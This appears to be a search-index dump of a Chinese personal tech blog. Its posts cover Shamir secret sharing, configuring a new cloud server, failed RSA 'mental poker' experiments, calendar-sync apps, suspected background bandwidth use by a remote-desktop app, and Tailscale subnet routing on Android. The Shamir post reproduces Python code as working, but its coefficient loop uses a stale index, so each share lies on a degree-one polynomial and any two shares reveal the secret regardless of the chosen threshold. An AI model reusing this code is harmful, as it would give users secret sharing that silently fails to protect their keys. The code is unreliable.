在分布式存储系统中，将数据加密密钥分割成多个份额存储在不同节点上，当部分节点故障或数据丢失时，只要还有足够数量的存活节点提供份额，就可以恢复出原始密钥进而恢复数据。 容错机制 在分布式计算任务中，将关键参数分割成多个份额分配给不同计算节点，即使部分节点出现故障或计算错误，只要还有足够数量的正确节点提供份额，就可以恢复出正确的关键参数，保证整个计算任务的正常进行。 示例 https://www.cnblogs.com/pyrie/p/sss_py.html\n感谢作者pyrie的代码。\n# https://www.cnblogs.com/pyrie/p/sss_py.html import Crypto.Util.number as numb import random # 求逆的函数，之前的版本用python2写的，这次用的python3，只把整除符号改了一下 def oj(a, n): a = a % n s = [0, 1] while a != 1: if a == 0: return 0 q = n // a t = n % a n = a a = t s += [s[-2] - q * s[-1]] return s[-1] # max_length 为p的长度，同时也是秘密的最大长度 # secret_is_text =0 默认输入时文本， 非0时认为是数字 # p 默认为0， 会根据max_length 自动生成，不为0时直接使用，需要保证p为素数， 函数内没有素性检验 def create(max_length=513, secret_is_text=0, p=0): if not p: p = numb.getPrime(max_length) w = int(input(\u0026#34;请输入秘密保存人数：\u0026#34;)) t = int(input(\u0026#34;请输入秘密恢复所需人数：\u0026#34;)) while not (t \u0026gt; 0 and t \u0026lt;= w): t = int(input(\u0026#34;请重新输入：\u0026#34;)) s = input(\u0026#34;请输入你的秘密:\u0026#34;) if secret_is_text: s = numb.bytes_to_long(s.encode(\u0026#34;utf-8\u0026#34;)) else: try: s = int(s) except Exception as e: s = numb.bytes_to_long(s.encode(\u0026#34;utf-8\u0026#34;)) x_list = list() a_list = list() i = w while i \u0026gt; 0: x = random.randint(p // 2, p) # 该范围没有特定限制，如果想让xi,yi取小一点儿的话可把范围写小点儿，但是要大于w if x not in x_list: x_list.append(x) i -= 1 for a in range(t): a_list.append(random.randint(p // 2, p)) # 同上 result = list() for x in x_list: y = s for a_n in range(t): a = a_list[i] y += a * pow(x, i + 1, p) result.append((x, y)) return t, p, result # get_text=1 默认恢复为字符串，若想得到数字填0 def restore(p, information, get_text=1): x_list = list() y_list=list() for x, y in information: x_list.append(x) y_list.append(y) s = 0 for x_i in range(len(x_list)): tmp_num = y_list[x_i] x_i_j = 1 for x_j in range(len(x_list)): if x_i != x_j: tmp_num = tmp_num * (0 - x_list[x_j]) % p x_i_j *= x_list[x_i] - x_list[x_j] tmp_num = tmp_num * oj(x_i_j, p) % p s += tmp_num s = s % p print(s) if get_text: try: s = numb.long_to_bytes(s) s = s.decode(\u0026#34;utf-8\u0026#34;) except Exception as e: print(e) return s t, p, result = create() #result为秘密碎片的列表 print(result) print(restore(p, result[:t])) #这里我取了result的前t个，实际中可以取任意t个。 我看看我是何时复制这些代码的，嗯，25-03-26。\n确实好玩，但也仅限于“好玩”，实用性确实有，但目前对我没有效果。\n而且“每次恢复密钥后，密钥就要改变”也挺烦的，如果能够实现同态加密，每个人用自己的那一部分解密就好了。\n而且“拿到全部份额的人同时也担任着公布的责任”\n啧，好玩，而且有用，但是有一定局限。\n至少目前看来比某两个东西好。对，说的是零知识证明和RSA同态加密，点你们俩呢。\n","permalink":"https://t1mmoc.github.io/posts/18876032/","summary":"\u003ch1 id=\"shamir-秘密共享方案\"\u003eShamir 秘密共享方案\u003c/h1\u003e\n\u003cp\u003e这是个好玩的东西。简单的讲，就是某个数字例如K=77，可以分成5个，只有3个人都选择恢复这个数字才能恢复这个数字。\u003cbr\u003e\n这能干的事情就很多了。\u003cbr\u003e\n至于详细地说。。。看下面：\u003c/p\u003e\n\u003ch2 id=\"基本原理\"\u003e基本原理\u003c/h2\u003e\n\u003cp\u003eShamir 秘密共享方案是一种基于多项式插值原理的密码学技术，由 Adi Shamir 在 20 世纪 70 年代提出。其核心思想是将一个秘密数据分割成多个份额，只有当足够数量的参与者（达到一个预设的阈值）将他们的份额组合在一起时，才能重建出原始秘密。\u003c/p\u003e\n\u003ch2 id=\"详细步骤\"\u003e详细步骤\u003c/h2\u003e\n\u003ch3 id=\"构造多项式\"\u003e构造多项式\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e选择一个有限域 GF(q)，其中 q 是一个素数，且要大于最大的秘密值和参与者的数量。\u003c/li\u003e\n\u003cli\u003e构造一个 k−1 次多项式 f(x)=a₀+a₁x+a₂x²+…+a_{k−1}x^{k−1}，其中 a₀ 为秘密，a₁,a₂,…,a_{k−1} 是在有限域内随机选择的系数。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"生成份额\"\u003e生成份额\u003c/h3\u003e\n\u003cp\u003e对于每个参与者 i（1≤i≤n），计算该多项式在 x=i 处的值，即份额 s_i=f(i)，然后将这些份额分发给各个参与者。\u003c/p\u003e","title":"Shamir 秘密共享方案"},{"content":"拿到一台服务器应该要做什么 去京东云那边抢了一台活动服务器。\n啧，京东这边我还错怪他了，原来这能抢到啊？\n也可能是因为看我连续访问了好N次网站都不下单，偷偷给我改有存货了。\n管他呢，反正抢到了就是抢到了。\nCPU：有就行\n内存：有就行\n网络：有就行（点名阿里云的活动扣扣嗖嗖的，网络还要单独买，其他送网络的要么就是要加钱要么就是三个月，要不然就是99同价不允许叠加其他折扣，懒得喷）\n配置！ 首先应该根据我这篇文章所述，配置一下服务器仅ssh私钥登录。\n如果懒得看文章也可以看这张图，反正都是老操作了。\n将原本服务器的alist整个文件夹丢进/opt/alist/\n然后将alist.service丢进/etc/systemd/system/\n啧，你知道吗，备份就是这么爽。\n太爽了。\n如果用docker感觉会更爽。\nsystemctl的三条命令，太熟悉了。\n查看状态-\u0026gt;启动-\u0026gt;设置开机自启动\n虽然我不觉得我的服务器会关机。\n好叭。\nEZZZZZ\n差点忘了，还有这两\n？\n不是，我虽然上面说的是，“网络：有就行”\n但是这转圈速度，认真的？\n？\n？？？\n京东你这样我要转黑了。\n要知道alist只是个索引，数据本身不保存在alist上。\n查索引的速度都能这么慢。。。\n啧，算了。\n《买都买了》《它还只是个孩子》\n这次我买服务器呢，主要是想搞个好玩的。\n这个alist只是附带的。\n那么，接下来的是\nICP备案 这玩意流程可有点久哈。\n看看能不能加速：\n啧，腾讯这还有个坑\n看来只能慢慢等京东云这边审核通过了。\n后续的ICP备案要么就不水了，要么就另开一篇文章水了。\n等待的时间太久了。\n","permalink":"https://t1mmoc.github.io/posts/18876382/","summary":"\u003ch1 id=\"拿到一台服务器应该要做什么\"\u003e拿到一台服务器应该要做什么\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18876382/3336551-20250514173857424-1891485474.jpg\"\u003e\u003cbr\u003e\n去京东云那边抢了一台活动服务器。\u003cbr\u003e\n啧，京东这边我还错怪他了，原来这能抢到啊？\u003cbr\u003e\n也可能是因为看我连续访问了好N次网站都不下单，偷偷给我改有存货了。\u003cbr\u003e\n管他呢，反正抢到了就是抢到了。\u003cbr\u003e\nCPU：有就行\u003cbr\u003e\n内存：有就行\u003cbr\u003e\n网络：有就行（点名阿里云的活动扣扣嗖嗖的，网络还要单独买，其他送网络的要么就是要加钱要么就是三个月，要不然就是99同价不允许叠加其他折扣，懒得喷）\u003c/p\u003e\n\u003ch1 id=\"配置\"\u003e配置！\u003c/h1\u003e\n\u003cp\u003e首先应该根据我这篇文章所述，配置一下服务器仅ssh私钥登录。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18876382/3336551-20250514174342765-2101985562.jpg\"\u003e\u003cbr\u003e\n如果懒得看文章也可以看这张图，反正都是老操作了。\u003c/p\u003e\n\u003cp\u003e将原本服务器的alist整个文件夹丢进/opt/alist/\u003cbr\u003e\n然后将alist.service丢进/etc/systemd/system/\u003cbr\u003e\n啧，你知道吗，备份就是这么爽。\u003cbr\u003e\n太爽了。\u003cbr\u003e\n如果用docker感觉会更爽。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18876382/3336551-20250514175348956-108194210.jpg\"\u003e\u003cbr\u003e\nsystemctl的三条命令，太熟悉了。\u003cbr\u003e\n查看状态-\u0026gt;启动-\u0026gt;设置开机自启动\u003cbr\u003e\n虽然我不觉得我的服务器会关机。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18876382/3336551-20250514175438257-340239898.jpg\"\u003e\u003cbr\u003e\n好叭。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18876382/3336551-20250514175501678-1733800375.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18876382/3336551-20250514175527279-1692537092.jpg\"\u003e\u003cbr\u003e\n\u003cstrong\u003eEZZZZZ\u003c/strong\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18876382/3336551-20250514175825147-1202728580.jpg\"\u003e\u003cbr\u003e\n差点忘了，还有这两\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18876382/3336551-20250514175910051-1113075823.jpg\"\u003e\u003cbr\u003e\n\u003cstrong\u003e？\u003c/strong\u003e\u003cbr\u003e\n不是，我虽然上面说的是，“网络：有就行”\u003cbr\u003e\n但是这转圈速度，认真的？\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18876382/3336551-20250514180140996-967592878.jpg\"\u003e\u003cbr\u003e\n\u003cstrong\u003e？\u003c/strong\u003e\u003cbr\u003e\n\u003cstrong\u003e？？？\u003c/strong\u003e\u003cbr\u003e\n京东你这样我要转黑了。\u003cbr\u003e\n要知道alist只是个索引，数据本身不保存在alist上。\u003cbr\u003e\n查索引的速度都能这么慢。。。\u003cbr\u003e\n啧，算了。\u003cbr\u003e\n《买都买了》《它还只是个孩子》\u003c/p\u003e","title":"新服务器配置"},{"content":"前排提醒 陷阱，别来。\n什么RSA智力扑克\n都是陷阱。\n初次尝试 据说RSA的加解密是具备交换律的（注：后来发现不完全是这样）\n也就是这样子：\n神奇吧？A加密某个数据，随后B加密该数据，此时本来要解密的话是先B解密然后A解密的。\n但是想不到吧，A是可以先解密，随后B解密的。\n就因为看到这个神奇的操作，我开始了苦逼的尝试之旅。\n读者看到这里有福了，因为可以不用自己去尝试了\n这个标题是初次尝试，不过初次尝试的代码已经被我迭代掉了。\n一开始肯定是使用第三方库来的舒服对吧。\n点击查看图片\n有cryptography库干嘛不用呢？ 然后就是这样的：\n第二次加密出错了，没错，A加密，B加密。。。B加密直接出错了。\n问AI，AI说填充的问题，叫我改成NoPadding，然后我改了，发现没有NoPadding这个选项。\n思考了一下，也对，填充满了以后，长度大于RSA自己能够加密的长度了，所以填充会造成问题。\n自定义代码，第二次尝试 行吧，毕竟是特殊操作，RSA本身也不难，叫AI换一个做法，自己写一个RSA吧。\nAI写出了一个比较教科书的RSA密钥生成、加密、解密。\n然后我运行了一下，我cpu风扇转起来了。\n一看，卡在大素数生成呢，AI想对接正常的rsa，1024位长度（其实都手下留情了，正常应该2048起步），结果用的素性检测居然是最朴素的暴力穷举。\n我摇了摇头，叫AI改一下，别卡大素数生成了，有第三方库就用一下吧，替代掉这步骤，不寒碜。\n然后ai给我弄出来的代码是这样的，乐死了，cryptography：不用我给的rsa密钥别扒拉，还从我身上拿一个p一个q调用两遍\n行吧，毕竟是我告诉ai用第三方库节制一点，只用来生成大素数的。这部分代码就不改了。\n然后一运行，几乎是一瞬间就生成出公私钥对了，然后运行，加解密正常。\n截图就没有了，因为我不是一边写代码一边写文章的，代码已经到下一个阶段了。\n然后尝试最重要的：\nand 0是因为已经失败了。\n解密失败，没什么好看的。\n然后我在想，是不是长度问题？\n不，长度是mod n了，所以数字大小是固定的。\nn。。。。n。。。。\n等会，Alice和Bob的n，是不一样的！\n所以他们mod n，其实是mod n1 和mod n2！\n于是我开始翻资料。\n哥们，别搜密钥协商算法了（往下滑也都一样，没有讲rsa交换律的）\n那咋回事，难道我是开创者吗？不对，我再换个搜法。\n我搜\u0026quot;rsa 智力扑克\u0026quot;\n这样就对了。\n然后我就找到了这个博客\nhttps://www.thecodeway.com/blog/2025/02/MentalPoker02.html\n同模，同模，同模！！！\n不是，这个扑克协议是老师教的，老师你嘴是真严啊，同模这么重要的东西直接划过去了。\n这篇博客也是一样，同模这么重要的东西也是划过去了。\n行，我知道论文都是怎么水出来的了。只要把最关键的、无法解决的步骤划一下过去，就没有困难的步骤了。\n那问题来了，rsa如何生成两个密钥对，确保其n是相同的呢？\n回到n的定义上来，\nn = p * q\n其中，p、q是随机大素数。\n那么n就是随机大合数。\n提前随机一个n，然后让Alice和Bob自己根据这个n生成pq？\n那不就是大整数分解吗？\n但是没有pq又如何生成ed？\n算了，问问AI。\n2和3是陷阱。对了，我想起来在讲同态加密的时候还拿了rsa做例子。\nrsa需要同态加密生成，然后rsa可以进行同态加密\n死循环呢？\n1。。。。。。。。。。。。。。。。。。。。。。\n我有点无语了。\n这不还是需要“裁判”的参与吗。\n总结 需要在【相同】的n生成【两对】公私钥，并且A和B【互相不知道对方的私钥】。\n沉默，被阴了，又一次。\n","permalink":"https://t1mmoc.github.io/posts/18870826/","summary":"\u003ch1 id=\"前排提醒\"\u003e前排提醒\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003e陷阱\u003c/strong\u003e，别来。\u003cbr\u003e\n什么RSA智力扑克\u003cbr\u003e\n都是陷阱。\u003c/p\u003e\n\u003ch1 id=\"初次尝试\"\u003e初次尝试\u003c/h1\u003e\n\u003cp\u003e据说RSA的加解密是具备\u003cstrong\u003e交换律\u003c/strong\u003e的（注：后来发现不完全是这样）\u003cbr\u003e\n也就是这样子：\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18870826/3336551-20250511151458470-1622554513.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18870826/3336551-20250511151433699-1258628173.jpg\"\u003e\u003cbr\u003e\n神奇吧？A加密某个数据，随后B加密该数据，此时本来要解密的话是先B解密然后A解密的。\u003cbr\u003e\n但是想不到吧，A是可以先解密，随后B解密的。\u003c/p\u003e\n\u003cp\u003e就因为看到这个\u003cstrong\u003e神奇的操作\u003c/strong\u003e，我开始了苦逼的尝试之旅。\u003cbr\u003e\n\u003cstrong\u003e读者看到这里有福了，因为可以不用自己去尝试了\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e这个标题是初次尝试，不过初次尝试的代码已经被我迭代掉了。\u003cbr\u003e\n一开始肯定是使用第三方库来的舒服对吧。\u003c/p\u003e\n\u003cp\u003e点击查看图片\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18870826/3336551-20250511151736610-1982396813.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e有cryptography库干嘛不用呢？\n然后就是这样的：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18870826/3336551-20250511151857886-1770026394.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e第二次加密出错了，没错，A加密，B加密。。。B加密直接出错了。\u003cbr\u003e\n问AI，AI说填充的问题，叫我改成NoPadding，然后我改了，发现没有NoPadding这个选项。\u003c/p\u003e","title":"【RSA交换律】基于RSA的智力扑克游戏"},{"content":"前言 经常做日程管理的朋友们都知道，日程管理不是什么好活\n最近我也是弄起来这个东西了。\n要求 能够支持手机与电脑同步日程管理 能够使用原生手机日历的提醒 电脑同样能够有一点提醒，最好也用Windows原生的提醒。 寻觅 先找了一个企业微信和钉钉，这俩都差不多，没怎么碰，因为企业因素比较高，而且只能从系统日历同步到他们自己的日历不符合我使用系统原生日历的需要。\n注：两个软件都给了ex方法同步到系统日历，但是这样和邮箱提供的就没有区别了\n发现 接下来找邮箱，gmail首先排除，墙壁的原因。\noutlook是我第一个考虑的，毕竟微软出品，而且有逼格，而且据说非常注重日程管理，邮箱似乎还没有他日程管理的重要。\noutlook之旅 缺点：\n同样是墙壁原因，但这是弱墙，下载超慢，还是能连，概率断线 软件启动速度超慢 别用qq.com直接注册微软账号，不然有的你哭，现在还在用qq.com的，趁着没买东西赶紧去重新注册一个outlook.com，微软的兼容性真的没话说，如兼。 用outlook.com注册的新微软账号被限制使用了两次，两次都是需要我用手机重新验证，还好不像腾讯那样要签莫须有的保证书 优点：\n有逼格 ui好看 支持系统原生通知 没了。 对了，outlook同时是邮箱还是应用，所以我把他应用的缺点也列在上面了。\n如果用outlook应用去使用其他邮箱，不好意思，不支持。\n网易163邮箱 vs QQ邮箱 好消息，这俩都一样。坏消息，163邮箱那边想接受一个日程是不行的，也可能是只能接受来自163的邮箱日程，有看到日程，但是没有接受按钮，非常无语。\n在两个一样的情况下，163有一个缺点，当然选QQ了。（163的付费点实在是太多了）\n什么你的意思是QQ那一长串的不好看？虽然QQ的邮箱已经没办法取英文名了只有foxmail名\n但是微信还没删啊，可以用微信注册qq邮箱然后取英文id，敲两下左上角的qq不比163好打。\n好，选定了QQ邮箱作为日程同步方案，接下来是选择手机、电脑端应用。\nQQ邮箱之旅 手机端 手机端其实不需要任何软件，手机自带ex账号登录，这里不列，懒。\n但是我加上了QQ邮箱这个应用，能一个应用收一堆邮箱还是太爽了，163的邮箱我也用这个收。\n什么你问我网易邮箱大师？那是什么，能记住QQ邮箱授权码吗，不能，那还是离去吧。\n电脑端 outlook 刚刚是不是说过这个应用没办法添加其他邮箱的ex链接方法了？（2025-04-27，以后更新可能可以）\npass\n网易邮箱大师 不保存授权码就不保存授权码了吧，起码他能同步登录自家的对吧，听说小尾巴也可以删掉了，虽然以前还是臭名昭著。\n不管了，下载一个尝尝。\n唉？这界面，这UI，这。。。\n这不是outlook平替吗（其实感觉比outlook更好）\n谁在黑他？\n然后我添加了一下日程我就麻了。\n记得选好邮箱，不要选到大师号，然后添加日程\n手机端同步……什么，我九点钟的日程手机端同步以后变成了零点的？\n网易你什么什么意思。\n算了算了，这邮箱大师不用也罢。\n既然电脑都不用了，那手机那边也没必要用了，QQ邮箱挺好的。\nfoxmail 最后还是来了一个最简洁的，同时也是本文章的第一张图片。\n因为以上那些各种各样的尝试都被我卸载光了，不知不觉在日程管理这条路上踩了这么多坑。\n既然卸载光了，就没有什么截图可说了。\nQQ邮箱手机版也不是一个日程管理工具，而是一个邮箱收信工具。\n舒服了。\n但是，等会。 有些东西不得不说。\nQQ邮箱有一些比较逆天的设置需要处理。\n在他的日历中设置的提醒，他是真提醒。\n大概他也知道他没有一个统一的客户端。\n但是坏消息：这玩意儿没有地方关掉。\n我已经有foxmail提醒+手机原生日历提醒双重提醒了\n这个邮箱内发信提醒对我来说完全是干扰。我会以为收到了什么重要的信件。\n因此如果想像我这样玩的记得设置一个收信规则。\n想直接删掉也不是不行，只是有软删除还是喜欢软删除的。\n微信也是有提醒的，可以开一下。\n这样，需要做的事情就完成了。\nenjoy : )\n","permalink":"https://t1mmoc.github.io/posts/18849497/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e经常做日程管理的朋友们都知道，日程管理不是什么好活\u003cbr\u003e\n最近我也是弄起来这个东西了。\u003c/p\u003e\n\u003ch1 id=\"要求\"\u003e要求\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e能够支持手机与电脑同步日程管理\u003c/li\u003e\n\u003cli\u003e能够使用原生手机日历的提醒\u003c/li\u003e\n\u003cli\u003e电脑同样能够有一点提醒，最好也用Windows原生的提醒。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"寻觅\"\u003e寻觅\u003c/h1\u003e\n\u003cp\u003e先找了一个\u003ccode\u003e企业微信\u003c/code\u003e和\u003ccode\u003e钉钉\u003c/code\u003e，这俩都差不多，没怎么碰，因为企业因素比较高，而且只能从系统日历同步到他们自己的日历不符合我使用系统原生日历的需要。\u003cbr\u003e\n\u003cstrong\u003e注：两个软件都给了\u003ccode\u003eex方法\u003c/code\u003e同步到系统日历，但是这样和邮箱提供的就没有区别了\u003c/strong\u003e\u003c/p\u003e\n\u003ch1 id=\"发现\"\u003e发现\u003c/h1\u003e\n\u003cp\u003e接下来找邮箱，\u003ccode\u003egmail\u003c/code\u003e首先排除，墙壁的原因。\u003cbr\u003e\n\u003ccode\u003eoutlook\u003c/code\u003e是我第一个考虑的，毕竟微软出品，而且\u003cstrong\u003e有逼格\u003c/strong\u003e，而且据说非常注重日程管理，邮箱似乎还没有他日程管理的重要。\u003c/p\u003e\n\u003ch3 id=\"outlook之旅\"\u003eoutlook之旅\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e缺点：\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e同样是墙壁原因，但这是弱墙，下载超慢，还是能连，概率断线\u003c/li\u003e\n\u003cli\u003e软件启动速度超慢\u003c/li\u003e\n\u003cli\u003e别用qq.com直接注册微软账号，不然有的你哭，现在还在用qq.com的，趁着没买东西赶紧去重新注册一个outlook.com，微软的兼容性真的没话说，如兼。\u003c/li\u003e\n\u003cli\u003e用outlook.com注册的新微软账号被限制使用了两次，两次都是需要我用手机重新验证，还好不像腾讯那样要签莫须有的保证书\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e优点：\u003c/strong\u003e\u003c/p\u003e","title":"【效率工具】日程管理的最优选"},{"content":"前言 月末了，没流量了，不过我今天怎么跑了4个G的流量？\n我倒要看看是谁干的好事。\n热点跑的？但是我一整天都挂着手机连电脑没动啊，最多也就偶尔用了一下。\n别让我找到是谁偷跑我流量跑这么多 好啊好，UU远程，得，你清高，你偷偷上传我电脑数据是吧。虽说没抓到现行也只能怀疑而已，但我磁盘空间哪里够他一天占3个G？\n更重要的是，我【一天内从来没有使用过它】，我挂着它开机自启动【只是为了在我需要用到的时候使用】\n那么问题来了，一个我没有用到的软件，凭什么和我用的其他软件排在一起？\n英伟达也是，不过这个不敢卸载，留着算了。浏览器、oopz、雷神我今天确实用过，放过他们了。\nsunshine好像用了一次，在内网环境下的，那200MB内网的话就无所谓了。\n往下翻了翻，更好笑了，ToDesk我【刚刚才使用过】，跑了45MB的流量。\n那UU远程，你在干什么呢？\n不会是拿我有ipv6的电脑跑节点吧。\n比如其他用户的屏幕、操作数据，加密以后【经过我这台电脑中继】\n这就是低延迟的理由吗\n结语 ","permalink":"https://t1mmoc.github.io/posts/18799833/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e月末了，没流量了，不过我今天怎么跑了4个G的流量？\u003cbr\u003e\n我倒要看看是谁干的好事。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18799833/3336551-20250329195847653-1875540781.jpg\"\u003e\u003cbr\u003e\n热点跑的？但是我一整天都挂着手机连电脑没动啊，最多也就偶尔用了一下。\u003c/p\u003e\n\u003ch1 id=\"别让我找到是谁偷跑我流量跑这么多\"\u003e别让我找到是谁偷跑我流量跑这么多\u003c/h1\u003e\n\u003cp\u003e好啊好，UU远程，得，你清高，你偷偷上传我电脑数据是吧。虽说没抓到现行也只能怀疑而已，但我磁盘空间哪里够他一天占3个G？\u003cbr\u003e\n更重要的是，我【一天内从来没有使用过它】，我挂着它开机自启动【只是为了在我需要用到的时候使用】\u003cbr\u003e\n那么问题来了，一个我没有用到的软件，凭什么和我用的其他软件排在一起？\u003cbr\u003e\n英伟达也是，不过这个不敢卸载，留着算了。浏览器、oopz、雷神我今天确实用过，放过他们了。\u003cbr\u003e\nsunshine好像用了一次，在内网环境下的，那200MB内网的话就无所谓了。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18799833/3336551-20250329195720585-1774057098.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18799833/3336551-20250329200016774-168797912.jpg\"\u003e\u003cbr\u003e\n往下翻了翻，更好笑了，ToDesk我【刚刚才使用过】，跑了45MB的流量。\u003cbr\u003e\n那UU远程，你在干什么呢？\u003cbr\u003e\n不会是拿我有ipv6的电脑跑节点吧。\u003cbr\u003e\n比如其他用户的屏幕、操作数据，加密以后【经过我这台电脑中继】\u003cbr\u003e\n这就是低延迟的理由吗\u003c/p\u003e\n\u003ch1 id=\"结语\"\u003e结语\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18799833/3336551-20250329200632433-1995766672.jpg\"\u003e\u003c/p\u003e","title":"【流量预警】装了UU远程/GameViewer的小心了"},{"content":"前言 啊哈，前段时间提了个issue，然后开发者那边回复了\n再过了一段事件，合并了。\nJan 17合并的，Feb 4发布的，那我倒要看看有没有新东西。\n不错不错，新功能加上了。\nsubnet有什么用 有人要问了，你安卓又不是路由器，搞个subnet干啥？\n但是安卓可以开热点啊，尤其是在外面的网络，搞个subnet，可以让tail内东西访问到外面，让外面访问到tail内\n带着一个手机就能让任何设备链接到tail内，那岂不是美哉哉？\n开始 好了，先开一个热点，然后进行一个链接。\n这里有个槽点，这个routes需要手动填，而手机没有办法指定和知道热点开出来是多少，还得去电脑上查了填\n也可能是tail无法获取到这个信息。\n随后需要在管理员界面批准这个subnet申请\n249是那个“存在于subnet下”的电脑，tailscale内部网络对外发送数据非常完美。\n以防不好理解，画个图在这里\n另外，图里面没有的tail的ip在这里有：\n奇怪，ping不到内部吗，只能从内部出外面？\n翻翻文档。\n100亿%的人都选择考虑从tail内访问tail外的子网。\n怎么没人考虑过从tail外的子网访问tail内的功能呢，如果实现的话，家里NAS开着tail，然后在外带着一个手机，就可以经过手机访问NAS。。。。。\n因为流量消耗的问题？\n算了，翻不到解决方法，略微有些失望，但是也算是一半一半能访问吧。\n不对，有没有可能，在linux上，就算不设置subnet，流量经过linux并且允许转发的话，自动就会链接到tail内，所以subnet只是为了让tail内识别tail外才用到的？\n而安卓因为没有root，所以无法实现这一点？\n有可能，但是不确定。\n有另一种解释是tail选择了用这种方式保证安全。\n既然windows也有一个热点，不如试试windows上效果如何？\n内ping不到外\n可能是这个问题，问一下ai\nWindows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters] \u0026#34;IPEnableRouter\u0026#34;=dword:00000001 结论：不行，浪费感情。\n现有的允许tail内访问tail外是什么效果？ 类似于tail内是个NAT吧，外面访问不来NAT内的网络。\n但是tail内可以访问tail外。\n以上还没用到tail\n然后是tail的设置恢复：\n因为没有完成直连，所以有亿点卡就是了。\n不过能开。\n总结 有点失望，没能看到随便带一个手机，然后外面的任何电脑连回本机，可以保持本机在哪里只需要有一个电脑就可用的想法。\n","permalink":"https://t1mmoc.github.io/posts/18775026/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18775026/3336551-20250316142009788-383510280.jpg\"\u003e\u003cbr\u003e\n啊哈，前段时间提了个issue，然后开发者那边回复了\u003cbr\u003e\n再过了一段事件，合并了。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18775026/3336551-20250316142119824-147077608.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18775026/3336551-20250316142132183-657734243.jpg\"\u003e\u003cbr\u003e\nJan 17合并的，Feb 4发布的，那我倒要看看有没有新东西。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18775026/3336551-20250316142211414-518448891.jpg\"\u003e\u003cbr\u003e\n不错不错，新功能加上了。\u003c/p\u003e\n\u003ch1 id=\"subnet有什么用\"\u003esubnet有什么用\u003c/h1\u003e\n\u003cp\u003e有人要问了，你安卓又不是路由器，搞个subnet干啥？\u003cbr\u003e\n但是安卓可以开热点啊，尤其是在外面的网络，搞个subnet，可以让tail内东西访问到外面，让外面访问到tail内\u003cbr\u003e\n带着一个手机就能让任何设备链接到tail内，那岂不是美哉哉？\u003c/p\u003e\n\u003ch1 id=\"开始\"\u003e开始\u003c/h1\u003e\n\u003cp\u003e好了，先开一个热点，然后进行一个链接。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18775026/3336551-20250316142535779-571271983.jpg\"\u003e\u003cbr\u003e\n这里有个槽点，这个routes需要手动填，而手机没有办法指定和知道热点开出来是多少，还得去电脑上查了填\u003cbr\u003e\n也可能是tail无法获取到这个信息。\u003cbr\u003e\n随后需要在管理员界面批准这个subnet申请\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18775026/3336551-20250316142715948-244950808.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18775026/3336551-20250316142809183-1999603259.jpg\"\u003e\u003cbr\u003e\n249是那个“存在于subnet下”的电脑，tailscale内部网络对外发送数据非常完美。\u003cbr\u003e\n以防不好理解，画个图在这里\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18775026/3336551-20250316143147539-1697243746.jpg\"\u003e\u003cbr\u003e\n另外，图里面没有的tail的ip在这里有：\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18775026/3336551-20250316143417015-1547955322.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18775026/3336551-20250316143404690-1264207920.jpg\"\u003e\u003cbr\u003e\n奇怪，ping不到内部吗，只能从内部出外面？\u003cbr\u003e\n翻翻文档。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18775026/3336551-20250316144041153-235414388.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" 